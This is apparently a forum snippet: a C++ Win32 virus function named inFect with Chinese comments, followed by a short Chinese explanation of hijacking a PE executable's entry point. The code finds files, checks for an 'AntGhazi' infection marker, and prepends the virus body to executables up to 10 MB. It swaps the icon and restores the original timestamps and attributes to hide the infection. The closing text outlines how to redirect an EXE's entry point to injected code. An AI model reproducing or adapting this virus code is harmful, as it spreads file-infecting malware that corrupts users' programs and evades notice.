/****************************************************************************
Function Name : inFect
Function : 感染文件
Parement : char *strFile 文件名
char *strSource 病毒体
DWORD dwSourceSize 病毒体长度
Return : if success return 1,else return 0;
*****************************************************************************/
int inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){
HANDLE hSearchFile=NULL;
DWORD dwSearchFileSize=0;
char VirusFlag[10]={'\0'};
DWORD bytes_write;
WIN32_FIND_DATA lpFindFileData=_lpFindFileData;
char *strFile=lpFindFileData.cFileName ;
//char *strFile="AntGhazi.tmp\0";//测试时,特定只感染此文件
//strFile="e:\\kkkk\\a.exe";//c:\\AntGhazi.tmp\0";//测试时,特定只感染此文件
::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL);
hSearchFile=::CreateFile (strFile,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if(hSearchFile == INVALID_HANDLE_VALUE){
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //先读取标志
::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);
::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0);
if(strcmp(VirusFlag,"AntGhazi")!=0){ //感染
//先读取长度
dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //原长度
if(dwSearchFileSize>10485760){ //如果文件大于10M,则退出
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
char *pSearchFile=new char[dwSearchFileSize];
::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //读取原文件内容
::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
memmove(strSource+80,"AntGhazi",8); //写入标志
memcpy(strSource+88,&dwSearchFileSize,4); //写入源长度
::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //准备写入文件中
ModifyIcon(&strSource,pSearchFile); //修改ICON
::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0);
::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
delete pSearchFile;
SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastAccessTime ,&lpFindFileData.ftLastWriteTime);//写入日期
::CloseHandle (hSearchFile);
}else{
::CloseHandle (hSearchFile);
}
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 1;
}
先弄明白EXE文件的格式,每个EXE文件都有一个文件头叫PE,那文件头里面定义了该EXE文件里面各段的地址等很多重要的数据,有一个起始的指针指向程序开始运行的入口地址,你做个外壳把那地址改成你的程序入口,然后在你程序结束的时候转到原来的那个入口就可以了。
说起道理来容易,但想弄明白PE可真不是件容易事哦!








